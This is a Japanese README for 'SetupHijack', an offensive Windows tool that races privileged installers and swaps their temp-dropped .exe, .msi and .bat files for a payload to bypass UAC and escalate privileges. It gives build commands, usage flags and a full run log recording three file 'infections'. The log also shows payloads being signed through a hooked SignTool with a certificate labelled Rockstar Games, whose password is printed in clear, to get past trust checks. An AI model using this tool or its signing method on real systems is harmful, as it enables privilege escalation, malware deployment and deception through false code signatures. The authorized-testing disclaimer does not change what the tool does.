
SetupHijack は、Windows のインストーラーおよび更新プロセスの競合状態と安全でないファイル処理を悪用するセキュリティ研究ツールです。特権を持つインストーラーやアップデーターが %TEMP% などの誰でも書き込み可能な場所にファイルを配置し、攻撃者がそれらのファイルを昇格した特権で実行される前に置き換えることができるシナリオを対象としています。
.exe、.msi、およびバッチファイル(例: sysinfo、netstat、ipconfig)に感染させることができます。このツールの使用目的は、権限を持つ侵害済みユーザーアカウントでバックグラウンド実行し、インストーラー/アップデーターのファイルドロップをハイジャックして別のプロセスを昇格させることです。
以下のチャートは、UAC バイパスに使用できる複数のシナリオにおける、この悪用の実際の使用例を示しています。UAC バイパスは、Adminless で実行する場合のセキュリティ境界と見なされ、セキュリティ制御を無効化するための一般的な「攻撃者の要件」です。特権を持つ Administrator 操作の悪用は、悪意のあるコードがプロセスの権限をサイドロードまたは昇格させるための汎用的な悪用アクセス手段を提供します。このツールは、同じ種類のリスクにさらされている追加のアプリケーションを特定するために使用できます。攻撃者は、ユーザーの行動を妨げることなく昇格した権限を得る手段として、これらのプロセスの実行を待つことができます。

%TEMP%(およびサブディレクトリ)を継続的にスキャンし、新規または変更されたインストーラーファイルを検出します。.bak ファイルとして保持されます。このプロジェクトは、SignToolEx.exe と SignToolExHook.dll を使用したハックされたコード署名プロセスを使用して、ペイロードとインストーラーに署名します。有効なコード署名証明書と Authenticode タイムスタンプを使用すると、インストーラーおよび OS の信頼チェックをバイパスする際の成功率が向上します。
nmake PAYLOAD=c:\Path\to\your\payload.exe
### 実行 (オプション)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp、-noappdata、-nodownloads フラグを使用して、任意の場所を無効にできます。clean フラグは、有効なすべての場所のバックアップを復元します。verbose フラグはすべての操作をログに記録します。shadow.exe または同様のツールと併用します。
%TEMP% に展開し、昇格した権限で実行する場合、ペイロードが差し替えられて実行されます。以下は、コード署名と感染出力を含む、SetupHijack のビルドと実行の実際の例です:``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0
C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>SetupHijack.exe
[2025-09-24 15:20:46] [SetupHijack] Using payload: C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 15:20:46] [SetupHijack] If infecting .msi, will use: install.msi
[2025-09-24 15:20:46] [SetupHijack] Polling enabled locations recursively for .exe, .msi, .bat:
[2025-09-24 15:20:46] - C:\Users\FANTAS1\AppData\Local\Temp
[2025-09-24 15:20:46] - C:\Users\Fantastic\AppData\Roaming
[2025-09-24 15:20:46] - C:\Users\Fantastic\Downloads
[2025-09-24 15:20:46] [SetupHijack] Entering infection loop.
[2025-09-24 15:20:59] [SetupHijack] Total infections this session: 0
[2025-09-24 15:21:13] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\installcmd.bat with payload install.bat, backup: C:\Users\FANTAS~1\AppData\Local\Temp\installcmd.bat.bak
[2025-09-24 15:21:13] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:22] [SetupHijack] Replaced C:\Users\Fantastic\Downloads\installcmd.msi with payload install.msi, backup: C:\Users\Fantastic\Downloads\installcmd.msi.bak
[2025-09-24 15:21:26] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:26] [SetupHijack] Total infections this session: 2
[2025-09-24 15:21:41] [SetupHijack] Replaced C:\Users\Fantastic\AppData\Roaming\InsecureApp\setup.exe with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe, backup: C:\Users\Fantastic\AppData\Roaming\InsecureApp\setup.exe.bak
[2025-09-24 15:21:41] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:53] [SetupHijack] Total infections this session: 3
## インプラント展開の使用例
以下は、特権インストーラーの実行中にインプラントを展開するSetupHijackの動作を示すスクリーンショットです:

## セキュリティに関する注意事項
- このツールは、許可されたテストおよび研究専用です。
- これらの弱点を悪用すると、ユーザーがAdministratorグループに属している場合、完全なSYSTEM侵害につながる可能性があります。
- インストーラーによっては、この攻撃をブロックするハッシュ/署名チェックを使用する場合がありますが、多くはまだ使用していません。
- 常に管理された環境で使用してください。
- このツールでCVEを発見したり、バウンティを獲得したりした場合は、クレジットを記載してください!
一度に単一のディレクトリ(`%TEMP%`など)をターゲットにすることで、作成時刻/使用時刻(TOCTOU)の競合状態で勝利する可能性が高まります。ポーリングが高速化され、競合が少なくなるためです。最大の信頼性を得るには、それぞれが単一のディレクトリに焦点を当てた複数のSetupHijackインスタンスを実行してください。最適な結果を得るには、ペイロード(昇格させて実行したいEXE)に昇格を要求するマニフェスト(requireAdministrator)を含め、Authenticodeタイムスタンプを含む有効なコードサイニング証明書で署名されていることを確認してください。これにより、インストーラーとOSの信頼チェックをバイパスできる可能性が高まります。
## 特定された脆弱性